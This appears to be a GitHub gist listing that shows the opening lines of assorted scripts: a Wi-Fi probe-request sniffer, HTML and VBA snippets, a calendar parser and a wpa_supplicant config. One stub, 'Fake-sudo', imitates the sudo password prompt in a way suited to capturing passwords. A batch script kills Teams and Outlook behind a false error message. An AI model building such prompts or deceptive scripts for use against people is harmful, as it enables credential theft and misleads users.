This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# detect probe requests for Network Name and trigger narrated alert | |
sudo wifi_coconut --no-display --disable-leds --pcap=- | tshark -Y "wlan.fc.type==0 && wlan.fc.subtype==4" -r - | awk '/NetworkName/{system("espeak 'Network found'")}' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"> | |
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script> | |
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> | |
</head> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Fake-sudo | |
# | |
# This program imitates the behavior | |
# of the "sudo" command. | |
# | |
readonly INPUT_MESSAGE="[sudo] password for ${USER}: " | |
readonly MAXIMUM_ATTEMPTS=3 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# NAME: flash-primary-screen.sh | |
# PATH: ~/bin | |
# DESC: Flashes primary screen colours to alert timer has ended. | |
# DATE: November 15, 2018 | |
# NOTE: Written for: https://askubuntu.com/a/1092835/307523 | |
# I'm looking for a command to flash screens (if possible in colors) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set oShell = WScript.CreateObject("WScript.Shell") | |
oShell.run"%SystemRoot%\System32\SndVol.exe" | |
WScript.Sleep 200 | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("%{F4}") | |
oShell.Run "chrome.exe" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
title Task launcher | |
color f0 | |
set list=teams.exe, outlook.exe | |
:l | |
for %%i in (%list%) do ( | |
tasklist /FI "IMAGENAME eq teams.exe" 2>NUL | find /I /N "teams.exe">NUL | |
if "%ERRORLEVEL%"=="0" echo Do not close this window attempting re-launch && timeout 10 && taskkill /F /IM %%i | |
echo Error Launching Task "Microsoft Teams" | |
timeout 2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
set iter=100 | |
:loop | |
md %userprofile%\Desktop\%iter% | |
set /a iter=iter-1 | |
if %iter%==0 goto exit | |
goto loop | |
:exit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev | |
update_config=1 | |
country=US | |
network={ | |
ssid="network" | |
psk="password" | |
key_mgmt=WPA-PSK | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sub checkBoxAppend() | |
Dim lineCnt As Integer | |
lineCnt = Selection.Range.Sentences.Count | |
Dim Words | |
For Words = lineCnt To 1 Step -1 ' | |
Selection.MoveStartUntil "&", wdBackward | |
Selection.MoveLeft 1 | |
Dim objCC As ContentControl | |
Set objCC = ActiveDocument.ContentControls.Add(wdContentControlCheckBox) | |
objCC.Checked = False |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
months = ["January","February","March","April","May","June","July","August","September","October","November","December"] | |
from datetime import date, timedelta | |
import re | |
c = open("calendar.txt", "r") | |
text = c.read() | |
c.close() | |
days = [day[0] for day in re.findall(r"(([A-Z]{1,3}[a-z]{0,3}[0-9]|Off|Sp))", "".join(str(x) for x in [sch[0] for sch in re.findall(r"(([A-Z]{1,3}[a-z]{0,3}[0-9]|Off|Sp){15}|([A-Z]{1,3}[a-z]{0,3}[0-9]|Off|Sp){5})", text)]))] | |
span = [datespan[0] for datespan in re.findall(r"((August|September|October|November|December|January|February|March|April|May) [0-9]{1,2}-[0-9]{1,2}|(August|September|October|November|December|January|February|March|April|May) [0-9]{1,2}-(August|September|October|November|December|January|February|March|April|May) [0-9]{1,2})",text)] |
NewerOlder